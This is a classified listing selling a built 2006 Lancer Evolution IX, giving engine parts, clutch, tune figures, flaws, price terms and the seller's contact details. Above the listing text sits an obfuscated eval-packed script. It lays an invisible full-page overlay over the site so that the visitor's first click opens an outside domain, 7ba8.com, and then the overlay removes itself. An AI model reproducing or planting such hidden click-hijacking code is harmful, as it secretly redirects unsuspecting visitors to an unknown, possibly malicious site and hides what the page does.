<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 2006 Mitsubishi Lancer Evolution IX MY07 Performance Pack
Engine & Performance:
(Fully built engine, stroker & twin plate NPC clutch completed on the 10/05/2016 by Next Up Performance)
- Nitto 2.2 Stroker kit with I beam rods (pictured)
- Arp main studs
- Acl race bearings
- 12mm custom head studs
- Port & polished head (pictured)
- Supertec comp valves & retainers (pictured)
- Balance shaft delete (pictured)
- O-ring block & machining
- GSC power-division billet R2 stroker cams
- New battery, timing belt kit, new gaskit kit etc
- engine cover painted apple candy red, up close shown in photo
- STOCK EVO 9 TURBO
- Haltech platinum pro plug-in EVO9 ECU
- HKS racing suction reloaded intake kit
- HKS racing intercooler piping Kit
- HKS super turbo muffler
- HKS GT extension kit (including dump pipe & front pipe)
- Bosch 1000cc injectors (E85 compatible)
- Walbro Fuel Pump 400lph E85
- HKS fuel pressure regulator
- Tomei fuel rail adaptor
Drivetrain:
- Standard 6 speed gearbox
- NPC Performance twin plate clutch
- NPC Performance hydraulic throw out bearing
Please be familiar or acquire some knowledge from NPC or a legit performance workshop regarding the normal sound of a high performance twin plate clutch. I don't want "mechanics/ex mechanics" advising me my $3500 clutch "does not sound right" upon inspection.
Interior, Exterior & Electrical:
- Eboost2 60psi black
- AEM air/fuel ratio, oil temp & pressure guages mounted in coltspeed tripple dash meter
- Alpine CDE-153EBT single din bluetooth headunit
- Binary lowering seat brackets installed
- Hydro carbon dipping interior bits
Final run in tune:
High boost 23psi 248kw on BP98 stock evo 9 turbo set up
Cons:
- Mesh covering intercooler (black) has small areas fading white
- From previous owner, right rear quater panel has a very slight mark near tailight/panel (refer to image)
- other little chips from rocks etc like any other normal car of this age
Price:
- due to price drops in the last couple months (originally from $42k), it is now priced to sell
- Less than 2000kms on the new built engine and clutch etc
- No low ballers, swaps or silly cash offers
Feel free to contact me if you have any more questions, again if you have queries about the clutch - pleaes give NPC a call.
Due to insurance reasons test drives will be performed by me however I will allow a test drive prior to purchase after a deposit has been taken.
Roadworthy certificate included upon sale.
wechat： terrencetsc
phone number：0447160808
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